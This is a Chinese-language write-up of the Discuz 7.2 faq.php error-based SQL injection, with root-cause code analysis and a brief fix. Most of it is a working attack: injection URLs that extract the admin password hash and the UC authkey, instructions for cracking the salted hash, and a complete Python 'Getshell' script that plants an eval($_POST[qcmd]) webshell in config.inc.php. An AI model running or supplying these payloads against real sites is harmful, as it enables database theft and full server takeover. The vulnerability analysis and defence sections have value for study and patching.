catalog
1. 漏洞描述 2. 漏洞觸發條件 3. 漏洞影響範圍 4. 漏洞程式碼分析 5. 防禦方法 6. 攻防思考
1. 漏洞描述
1. 通過獲取管理員密碼 2. 對管理員密碼進行破解。通過在cmd5.com網站對管理密碼進行查詢,需要帶salt,獲取的salt要去掉最後一個數字"1" 例如下面獲取: admin:c6c45f444cf6a41b309c9401ab9a55a7:066ff71 需要查詢的是: c6c45f444cf6a41b309c9401ab9a55a7:066ff7 3. 通過uc_key獲取shell 4. 進入後臺,新增外掛獲取webshell
Relevant Link:
http://sebug.net/vuldb/ssvid-87115 http://sebug.net/vuldb/ssvid-87114
2. 漏洞觸發條件
1.獲取資料庫版本資訊 http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 2.獲取管理員賬戶密碼 http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat((select (select (select concat(username,0x27,password) from cdb_members limit 1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23 3.獲取key http://localhost/discuz7.2/faq.php?action=grouppermission&gids[99]='&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,62) from cdb_uc_applications limit 0,1),0x3a)x from information_schema.tables group by x)a)%23 //通過error based injection報錯獲得注入資訊
0x1: POC
import sys,urllib,time,math,base64,hashlib,urllib2 #contant raw def fg(kaishi, jieshu, wenben): start = wenben.find(kaishi); if start >= 0: start += len(kaishi); jieshu = wenben.find(jieshu, start); if jieshu >= 0: return wenben[start:jieshu].strip(); #microtime def microtime(get_as_float = False) : if get_as_float: return time.time(); else: return '%.8f %d' % math.modf(time.time()); #authget def get_authcode(string, key = ''): ckey_length = 4; key = hashlib.md5(key).hexdigest(); keya = hashlib.md5(key[0:16]).hexdigest(); keyb = hashlib.md5(key[16:32]).hexdigest(); keyc = (hashlib.md5(microtime()).hexdigest())[-ckey_length:]; #keyc = (hashlib.md5('0.736000 1389448306').hexdigest())[-ckey_length:] cryptkey = keya + hashlib.md5(keya+keyc).hexdigest(); key_length = len(cryptkey); string = '0000000000' + (hashlib.md5(string+keyb)).hexdigest()[0:16]+string; string_length = len(string); result = ''; box = range(0, 256); rndkey = dict(); for i in range(0,256): rndkey[i] = ord(cryptkey[i % key_length]); j=0; for i in range(0,256): j = (j + box[i] + rndkey[i]) % 256; tmp = box[i]; box[i] = box[j]; box[j] = tmp; a=0; j=0; for i in range(0,string_length): a = (a + 1) % 256; j = (j + box[a]) % 256; tmp = box[a]; box[a] = box[j]; box[j] = tmp; result += chr(ord(string[i]) ^ (box[(box[a] + box[j]) % 256])); return keyc + base64.b64encode(result).replace('=', ''); #getshell def get_shell(url0,key,host): headers={'Accept-Language':'zh-cn', 'Content-Type':'application/x-www-form-urlencoded', 'User-Agent':'Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)', 'Referer':url0 }; tm = time.time()+10*3600; tm="time=%d&action=updateapps" %tm; code = urllib.quote(get_authcode(tm,key)); url0=url0+"?code="+code; data1='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://xxx\');eval($_POST[qcmd]);//</item> </root>'''; try: req=urllib2.Request(url0,data=data1,headers=headers); ret=urllib2.urlopen(req); except: return "error to read"; data2='''<?xml version="1.0" encoding="ISO-8859-1"?> <root> <item id="UC_API">http://aaa</item> </root>'''; try: req=urllib2.Request(url0,data=data2,headers=headers); ret=urllib2.urlopen(req); except: return "error"; return "OK: "+host+"/config.inc.php | Password = qcmd"; #去掉/config/uc_config.php 為config.inc.php by niubl #define over #url from users right = len(sys.argv); if right < 2: #note print ("============================================================"); print ("Discuz <= 7.2 Getshell"); print ("Wrote by Airbasic"); print ("Usage: py.exe " + sys.argv[0] + " http://localhost/dz"); print ("============================================================"); raw_input(""); sys.exit() url = sys.argv[1]; #go url1 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,1,31) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23"; url2 = url + "/faq.php?action=grouppermission&gids[99]=%27&gids[100][0]=) and (select 1 from (select count(*),concat(floor(rand(0)*2),0x3a,(select substr(authkey,32,64) from cdb_uc_applications where appid =1))x from information_schema .tables group by x)a)%23"; #authkey1~31 wy1 = urllib.urlopen(url1); nr1 = wy1.read(); authkey1 = fg("'1:","' for",nr1); #authkey32~64 wy2 = urllib.urlopen(url2); nr2 = wy2.read(); authkey2 = fg("'1:","' for",nr2); #authkey authkey = authkey1+authkey2; #get username and password #none #over #get webshell url0 = url + "/api/uc.php"; host = url; print ("Wrote by Airbasic , GetShell Ok !"); print get_shell(url0,authkey,host); raw_input("");
Relevant Link:
http://blog.csdn.net/yiyefangzhou24/article/details/36913287 http://qqhack8.blog.163.com/blog/static/11414798520146711246279/
3. 漏洞影響範圍
4. 漏洞程式碼分析
/faq.php
.. elseif($action == 'grouppermission') { .. //首先定義一個陣列groupids,然後遍歷$gids(這也是個陣列,就是$_GET[gids]) $groupids = array(); foreach($gids as $row) { //將陣列中的所有值的第一位取出來放在groupids中 $groupids[] = $row[0]; /* 這裡的安全漏洞在於 discuz在全域性會對GET陣列進行addslashes轉義,也就是說會將單引號"'"轉義成"\'" 所以,如果我們的傳入的引數是: gids[1]='的話,會被轉義成$gids[1]=\',而這個賦值語句$groupids[] = $row[0]就相當於取了字串的第一個字元,也就是"\",把轉義符號取出來了 */ } /* 在將資料放入sql語句前,通過implodeids函式對$groupids進行處理了一遍 就是將剛才的$groupids陣列用','分割開,組成一個類似於'1','2','3','4'的字串返回。但是我們的陣列剛取出來一個轉義符,它會將這裡一個正常的'轉義掉,比如這樣:'1','\','3','4' 這樣就把原本的用於閉合的單引號給轉義了,使得黑客的注入資料得以"逃逸",也就是產生的注入,我們把報錯語句放在3這個位置,就能報錯 */ $query = $db->query("SELECT * FROM {$tablepre}usergroups u LEFT JOIN {$tablepre}admingroups a ON u.groupid=a.admingid WHERE u.groupid IN (".implodeids($groupids).")"); $groups = array(); ..
Relevant Link:
http://simeon.blog.51cto.com/18680/1440000
5. 防禦方法
/faq.php
elseif($action == 'grouppermission') { /* 對$gids進行初始化 */ $gids = array(); /* */
Relevant Link:
http://www.crazydb.com/archive/Discuz7.xSQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8EEXP http://simeon.blog.51cto.com/18680/1440000
6. 攻防思考
Copyright (c) 2015 LittleHann All rights reserved